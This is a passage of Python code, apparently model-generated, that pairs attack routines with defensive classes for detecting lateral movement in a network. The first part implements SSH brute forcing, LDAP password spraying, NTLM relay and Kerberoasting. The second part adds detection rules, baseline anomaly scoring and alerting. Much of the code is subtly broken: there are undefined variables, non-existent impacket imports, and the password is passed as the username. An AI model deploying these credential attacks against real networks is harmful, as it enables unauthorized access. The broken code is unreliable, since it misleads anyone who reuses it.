        wordlist: List[str],
        timeout: float = 5.0,
        max_retries: int = 3
    ) -> Dict[str, Any]:
        """
        Attempt SSH brute force attack on target.
        Returns detailed result of the attempt.
        """
        results = {
            'success': False,
            'target': target.__dict__,
            'method': MovementType.SSH_BRUTE_FORCE.name,
            'attempts': 0,
            'vulnerability': False
        }
        
        for word in wordlist:
            try:
                with self._ssh_connection(target, word, timeout) as ssh:
                    if ssh:
                        results['success'] = True
                        results['credential'] = {'username': word, 'service': 'SSH'}
                        results['attempts'] = wordlist.index(word) + 1
                        return results
            except Exception as e:
                if self.verbose:
                    print(f"[ERROR] SSH attempt with {word}: {str(e)}")
                continue
        
        results['attempts'] = len(wordlist)
        return results
    
    def _ssh_connection(
        self,
        target: TargetSystem,
        password: str,
        timeout: float
    ) -> Optional[paramiko.SSHClient]:
        """Create SSH connection attempt"""
        ssh = paramiko.SSHClient()
        ssh.set_missing_host_key_policy(paramiko.AutoAddPolicy())
        
        try:
            ssh.connect(
                hostname=target.hostname,
                port=target.port,
                username=password,  # Using password as username here is incorrect
                password=password,
                timeout=timeout,
                banner_timeout=timeout
            )
            return ssh
        except paramiko.AuthenticationException:
            return None
        except Exception as e:
            raise e
    
    def ldap_spray(
        self,
        target: TargetSystem,
        domain: str,
        users: List[str],
        passwords: List[str],
        timeout: float = 5.0
    ) -> Dict[str, Any]:
        """
        Perform LDAP credential spraying attack.
        Attempts to authenticate using multiple users and passwords.
        """
        results = {
            'success': False,
            'target': target.__dict__,
            'method': MovementType.LDAP_SPRAY.name,
            'attempts': 0,
            'vulnerability': self._check_ldap_config(target)
        }
        
        with ldap3.Connection(
            ldap3.Server(target.hostname, port=target.port, connect_timeout=timeout),
            authentication=ldap3.AUTHENTICATION_NTLM,
            auto_bind=True
        ) as conn:
            for user in users:
                for password in passwords:
                    try:
                        conn.bind(
                            user=f"{domain}\\{user}",
                            password=password,
                            authentication=ldap3.AUTHENTICATION_NTLM
                        )
                        if conn.bound:
                            results['success'] = True
                            results['credential'] = {'username': user, 'domain': domain}
                            results['atsystem'] = {'user': user, 'password': password}
                            return results
                    except ldap3.LDAPBindError:
                        continue
                    except Exception as e:
                        if self.verbose:
                            print(f"[ERROR] LDAP bind error: {str(e)}")
                        continue
        
        results['attempts'] = len(users) * len(passwords)
        return results
    
    def _check_ldap_config(self, target: TargetSystem) -> bool:
        """Check if LDAP is configured in a vulnerable way"""
        # Check for anonymous bind
        try:
            with ldap3.Connection(ldap3.Server(target.hostname, port=target.port)) as conn:
                conn.bind()
                return conn.bound
        except:
            return False
    
    def ntlm_relay_attack(
        self,
        target: TargetSystem,
        relay_server: str,
        port: int = 80,
        timeout: float = 30.0
    ) -> Dict[str, Any]:
        """
        Execute NTLM relay attack.
        Captures NTLM hashes and attempts to relay them to a target service.
        """
        results = {
            'success': False,
            'target': target.__dict__,
            'method': MovementType.NTLM_RELAY.name,
            'attempts': 0,
            'vulnerability': False
        }
        
        # This is a conceptual implementation
        # Real attack would involve capturing hashes first
        capture_url = f"http://{relay_server}:{port}/capture"
        attack_url = f"http://{target.hostname}:{target.port}/trigger"
        
        try:
            # Step 1: Capture NTLM hash
            capture_response = requests.get(
                capture_url,
                auth=NTLMAuth('', ''),
                timeout=timeout
            )
            
            if capture_response.status_code == 200:
                ntlm_hash = capture_response.text.strip()
                results['attempts'] += 1
                
                # Step 2: Relay captured hash to target
                relay_response = requests.get(
                    attack_url,
                    headers={'Authorization': f'NTLM {ntlm_hash}'},
                    timeout=timeout
                )
                
                if relay_response.status_code == 200:
                    results['success'] = True
                    results['credential'] = {'hash': ntlm_hash}
                    return results
            
            results['attempts'] = system.get('attempts', 0) + 1
            return results
        
        except Exception as e:
            if self.verbose:
                print(f"[ERROR] NTLM relay attack failed: {str(e)}")
            return results
    
    def kerberoasting(
        self,
        target: TargetSystem,
        domain: str,
        username: str,
        password: str,
        timeout: float = 10.0
    ) -> Dict[str, Any]:
        """
        Perform Kerberoasting attack to extract service tickets.
        Requires valid domain credentials with sufficient privileges.
        """
        results = {
            'success': False,
            'target': target.__dict__,
            'method': MovementType.Kerberoasting.name,
            'tickets': [],
            'vulnerability': False
        }
        
        try:
            # Initialize Kerberos context
            from impacket.krbutils import TiketDecoder
            from impacket.kerberos import Kerberos
            from impacket.spnego import SPNEGO
            
            # Create Kerberos client
            krb = Kerberos()
            krb.setKey(password, 'aes256-cts-hmac-sha1-96')
            
            # Request TGT
            tgt, cipher = krb.getKrbTGT(
                domain,
                username,
                password,
                'aes256-cts-hmac-sha1-96'
            )
            
            if tgt:
                # Extract TGT details
                decoder = TiketDecoder(tgt)
                decoder.decode()
                
                # Collect service principals
                service_principals = self._get_service_principals(target, domain)
                
                if service_principals:
                    results['vulnerability'] = True
                    
                    for spn in service_principals:
                        try:
                            # Request service ticket
                            ticket = krb.getKrbServiceTicket(
                                spn,
                                decoder.getRealm(),
                                decoder.getPrincipal(),
                                tgt,
                                cipher
                            )
                            
                            if ticket:
                                results['tickets'].append({
                                    'spn': spn,
                                    'ticket': ticket.hex(),
                                    'timestamp': time.time()
                                })
                                
                                # Attempt to decrypt ticket (requires NT hash)
                                # This is where actual exploitation would continue
                                
                        except Exception as e:
                            if self.verbose:
                                print(f"[ERROR] Ticket request for {spn}: {str(e)}")
                            continue
                
                results['success'] = len(results['tickets']) > 0
                return results
            
        except Exception as e:
            if self.verbose:
                print(f"[ERROR] Kerberoasting failed: {str(e)}")
            return results
    
    def _get_service_principals(
        self,
        target: TargetSystem,
        domain: str
    ) -> List[str]:
        """
        Retrieve service principals from domain.
        This could be done via AD queries or other enumeration.
        """
        # In a real scenario, this would query Active Directory
        # For demonstration, returning common SPNs
        return [
            f'service/{target.hostname}',
            f'host/{target.hostname}',
            f'http/{target.hostname}:{target.port}',
            f'mail/{target.hostname}',
            f'cifs/{target.hostname}'
        ]

class ThreatIntelService:
    """
    Threat intelligence integration for lateral movement.
    Provides real-time checks against known bad actors and indicators.
    """
    
    def __init__(self):
        self.virus_total_api = 'your_api_key'
        self.alienvault_api = 'your_api_key'
        self.cache = {}
        self.cache_ttl = 3600  # 1 hour
        
    def check_known_victims(self, ip: str) -> bool:
        """Check if IP is known victim of attacks"""
        # Implementation would query threat intelligence databases
        return False
    
    def check_c2_servers(self, ip: str) -> bool:
        """Check if IP is known C2 server"""
        # Implementation would query threat intelligence databases
        return False
    
    def get_ip_reputation(self, ip: str) -> Dict[str, Any]:
        """Get comprehensive IP reputation information"""
        key = f'ip_reputation:{ip}'
        
        if key in self.cache and time.time() < self.cache[key]['expires']:
            return self.cache[key]['data']
        
        result = {
            'ip': ip,
            'known_victims': self.check_known_victims(ip),
            'c2_server': self.check_c2_servers(ip),
            'is_malicious': False,
            'confidence': 0,
            'sources': []
        }
        
        self.cache[key] = {
            'data': result,
            'expires': time.time() + self.cache_ttl
        }
        
        return result

class DefenseSystem:
    """
    Defense mechanisms against lateral movement.
    Implements detection, prevention, and response strategies.
    """
    
    def __init__(self):
        self.detection_rules = self._load_detection_rules()
        self.baseline = BaselineAnalysis()
        self.alert_system = AlertingService()
        self.block_list = set()
        
    def _load_detection_rules(self) -> Dict[str, Dict]:
        """Load detection rules for lateral movement"""
        return {
            'ssh_brute_force': {
                'threshold': 10,
                'window_seconds': 60,
                'action': 'log',
                'severity': 'medium'
            },
            'ldap_spray': {
                'threshold': 50,
                'window_seconds': 300,
                'action': 'block',
                'severity': 'high'
            },
            'ntlm_relay': {
                'threshold': 1,
                'window_seconds': 60,
                'action': 'drop',
                'severity': 'critical'
            },
            'kerberoasting': {
                'threshold': 3,
                'window_seconds': 300,
                'action': 'log',
                'severity': 'medium'
            },
            'anomalous_login_times': {
                'threshold': 2,
                'window_seconds': 86400,
                'action': 'investigate',
                'severity': 'medium'
            }
        }
    
    def detect_lateral_movement(
        self,
        event: Dict[str, Any],
        target: TargetSystem
    ) -> Dict[str, Any]:
        """
        Analyze event for lateral movement indicators.
        Returns detection result with confidence score.
        """
        analysis = {
            'detected': False,
            'confidence': 0.0,
            'detection_rules_applied': [],
            'target': target.__dict__,
            'event': event.copy()
        }
        
        # Apply detection rules
        for rule_name, rule in self.detection_rules.items():
            if self._match_rule(event, rule_name, rule):
                analysis['detected'] = True
                analysis['confidence'] += rule['severity'] * 0.1
                analysis['detection_rules_applied'].append(rule_name)
        
        # Check against baseline behavior
        baseline_result = self.baseline.analyze(event)
        analysis['confidence'] += baseline_result['anomaly_score'] * 0.2
        analysis['detected'] = analysis['detected'] or baseline_result['anomaly']
        
        if analysis['detected']:
            self._handle_detection(event, target, analysis)
        
        return analysis
    
    def _match_rule(
        self,
        event: Dict[str, Any],
        rule_name: str,
        rule: Dict[str, Any]
    ) -> bool:
        """Check if event matches specific detection rule"""
        # This is a simplified matching function
        # Real implementation would use rule parsing engines
        return False
    
    def _handle_detection(
        self,
        event: Dict[str, Any],
        target: TargetSystem,
        analysis: Dict[str, Any]
    ):
        """Handle confirmed detection - take defensive actions"""
        rule_names = analysis['detection_rules_applied']
        
        for rule_name in rule_names:
            rule = self.detection_rules[rule_name]
            
            if rule['action'] == 'log':
                self.alert_system.log_alert(
                    'lateral_movement',
                    event,
                    analysis,
                    severity=rule['severity']
                )
            
            elif rule['action'] == 'block':
                self.block_list.add(target.ip_address)
                self._block_ip(target.ip_address)
            
            elif rule['action'] == 'drop':
                self._drop_connection(event.get('source_ip'))
            
            elif rule['action'] == 'investigate':
                self.alert_system.create_case(
                    'potential_lateral_movement',
                    event,
                    analysis
                )
    
    def _block_ip(self, ip: str):
        """Implement IP blocking mechanism"""
        # This could use iptables, firewall rules, or network ACLs
        print(f"[DEFENSE] Blocking IP: {ip}")
        
        # Example iptables command
        # subprocess.run(['iptables', '-A', 'INPUT', '-s', ip, '-j', 'DROP'])
    
    def _drop_connection(self, ip: str):
        """Drop existing connections from IP"""
        print(f"[DEFENSE] Dropping connections from: {ip}")
        
        # Example command to drop existing connections
        # subprocess.run(['iptables', '-A', 'INPUT', '-s', ip, '-m', 'conntrack', '--ctstate', 'ESTABLISHED', '-j', 'DROP'])

class BaselineAnalysis:
    """
    Establishes and analyzes baseline system behavior.
    Detects deviations that may indicate lateral movement.
    """
    
    def __init__(self):
        self.baseline_data = {}
        self.learning_window = 86400  # 24 hours
        self.grace_period = 3600  # 1 hour
    
    def learn_baseline(
        self,
        events: List[Dict[str, Any]]
    ):
        """
        Learn baseline behavior from historical data.
        Establishes what is "normal" for the system.
        """
        current_time = time.time()
        
        for event in events:
            timestamp = event.get('timestamp')
            if not timestamp:
                continue
            
            # Only learn from recent data
            if current_time - timestamp < self.learning_window:
                self._update_baseline(event)
    
    def _update_baseline(
        self,
        event: Dict[str, Any]
    ):
        """Update baseline with new event data"""
        # Extract relevant features
        user = event.get('user')
        src_ip = event.get('source_ip')
        dst_ip = event.get('destination_ip')
        time_of_day = event.get('time_of_day')
        service = event.get('service')
        
        # Create baseline key
        baseline_key = f"{user}_{service}"
        
        if baseline_key not in self.baseline_data:
            self.baseline_data[baseline_key] = {
                'login_times': [],
                'ips': set(),
                'frequency': 0,
                'last_access': current_time
            }
        
        # Update baseline data
        self.baseline_data[baseline_key]['frequency'] += 1
        self.baseline_data[baseline_key]['last_access'] = current_time
        self.baseline_data[baseline_key]['ips'].add(src_ip)
        self.baseline_data[system_key]['login_times'].append(time_of_day)
        
        # Prune old data
        self._prune_old_data()
    
    def _prune_old_data(self):
        """Remove outdated baseline information"""
        current_time = time.time()
        keys_to_remove = []
        
        for key, data in self.baseline_data.items():
            if current_time - data['last_access'] > self.learning_window + self.grace_period:
                keys_to_remove.append(key)
        
        for key in keys_to_remove:
            del self.baseline_data[key]
    
    def analyze(
        self,
        event: Dict[str, Any]
    ) -> Dict[str, Any]:
        """
        Analyze single event against established baseline.
        Returns anomaly score and detection status.
        """
        user = event.get('user')
        src_ip = event.get('source_ip')
        dst_ip = event.get('destination_ip')
        time_of_day = event.get('time_of_day')
        service = event.get('service')
        
        system_key = f"{user}_{service}"
        
        if system_key not in self.baseline_data:
            # No baseline exists - cannot detect anomalies
            return {
                'anomaly': False,
                'anomaly_score': 0.0,
                'message': 'No baseline data available for comparison'
            }
        
        baseline = self.baseline_data[system_key]
        current_time = time.time()
        
        # Calculate anomaly score components
        score = 0.0
        
        # Check if IP is known and matches baseline
        if src_ip in baseline['ips']:
            score += 0.0
        else:
            score += 0.3
        
        # Check login time - unusual hours?
        baseline_times = baseline['login_times']
        if not baseline_times:
            score += 0.5
        else:
            # Compare current time to baseline times
            # This is a simplified comparison
            score += 0.2
        
        # Check frequency - unexpected increase?
        baseline_frequency = baseline['frequency']
        if baseline_frequency < 5:
            score += 0.1
        
        # Final anomaly determination
        anomaly_threshold = 0.5
        anomaly = score > anomaly_threshold
        
        return {
            'anomaly': anomaly,
            'anomaly_score': score,
            'baseline': baseline,
            'message': 'Baseline analysis complete'
        }

class AlertingService:
    """
    Manages alerting and notification for security events.
    Integrates multiple alerting methods and prioritizes messages.
    """
    
    def __init__(self):
        self.alert_queue = deque()
        self.severity_levels = {
            'critical': 5,
            'high': 4,
            'medium': 3,
            'low': 2,
            'informational': 1
        }
        self.notified_alerts = set()
        
    def log_alert(
        self,
        category: str,
        event: Dict[str, Any],
        analysis: Dict[str, Any],
        severity: str = 'medium'
    ):
        """Log a security alert for review"""
        alert_id = self._generate_alert_id()
        
        alert = {
            'id': alert_id,
            'category': category,
            'event': event,
            'analysis': analysis,
            'severity': severity,
            'timestamp': time.time(),
            'status': 'new',
            'acknowledged': False,
            'investigating': False,
            'resolved': False
        }
        
        self.alert_queue.append(alert)
        self._prioritize_alerts()
    
    def create_case(
        self,
        title: str,
        event: Dict[str, Any],
        analysis: Dict[str, Any],
        severity: str = 'medium'
    ) -> str:
        """Create a new security case"""
        case_id = self._generate_case_id()
        
        case = {
            'id': case_id,
            'title': title,
            'events': [event],
            'analysis': analysis,
            'severity': severity,
            'status': 'open',
            'assignee': None,
            'due_date': None,
            'resolution': None,
            'timestamp': time.time()
        }
        
        # In a real system, this would persist to case management
        return case_id
    
    def _generate_alert_id(self) -> str:
        """Generate unique alert identifier"""
        return f"ALERT-{int(time.time())}-{random.randint(1000, 9999)}"
    
    def _generate_case_id(self) -> str:
        """Generate unique case identifier"""
        return f"CASE-{int(time.time())}-{random.randint(100000, 999999)}"
    
    def _prioritize_alerts(self):
        """Prioritize alerts based on severity and urgency"""
        # Sort alerts with higher severity first
        self.alert_queue = deque(
            sorted(self.alert_queue, 
                   key=lambda x: self.severity_levels[x['severity']], 
                   reverse=True)
        )

# Example usage
if __name__ == "__main__":
    # Initialize systems
    threat_intel = ThreatIntelService()
    defense_system = DefenseSystem()
    lateral_movement_system = LateralMovementSystem()
    
    # Create test target
    test_target = Target(
        ip="192.168.1.10",
        hostname="server01",
        domain="example.com",
        port=389,
        service="ldap"
    )
    
    # Simulate attack scenarios
    print("=== Testing Lateral Movement ===")
    
    # Scenario 1: SSH Brute Force Attack
    print("\nScenario 1: SSH Brute Force Detection")
    ssh_event = {
        'timestamp': time.time(),
        'source_ip': '192.168.1.200',
        'destination_ip': test_target.ip,
        'port': 22,
        'user_attempts': 15,
        'success': False,
        'service': 'ssh',
        'user': 'admin'
    }
    
    detection_result = defense_system.detect_lateral_movement(ssh_event, test_target)
    print(f"Detection Result: {detection_result}")
    
    # Scenario 2: Kerberoasting Attempt
    print("\nScenario 2: Kerberoasting Detection")
    kerberoast_event = {
        'timestamp': time.time(),
        'source_ip': '192.168.1.50',
        'destination_ip': test_target.ip,
        'port': 88,
        'service': 'kerberos',
        'user': 'domain_admin',
        'tickets_requested': 5,
        'spns_attempted': ['MSSQLSvc/server01.example.com', 'HTTP/server01']
    }
    
    detection_result = defense_system.detect_lateral_movement(kerberoast_event, test_target)
    print(f"Detection Result: {detection_result}")
    
    # Scenario 3: Successful Lateral Movement
    print("\nScenario 3: Successful Lateral Movement")
    lateral_event = {
        'timestamp': time.time(),
        'source_ip': '192.168.1.200',
        'destination_ip': test_target.ip,
        'port': 445,
        'service': 'smb',
        'user': 'privileged_user',
        'authentication_method': 'NTLM',
        'domain': 'example.com',
        'successful': True
    }
    
    detection_result = defense_system.detect_lateral_movement(lateral_event, test_target)
    print(f"Detection Result: {detection_result}")
</think>

 # Comprehensive Lateral Movement Detection and Defense System

## Architecture Overview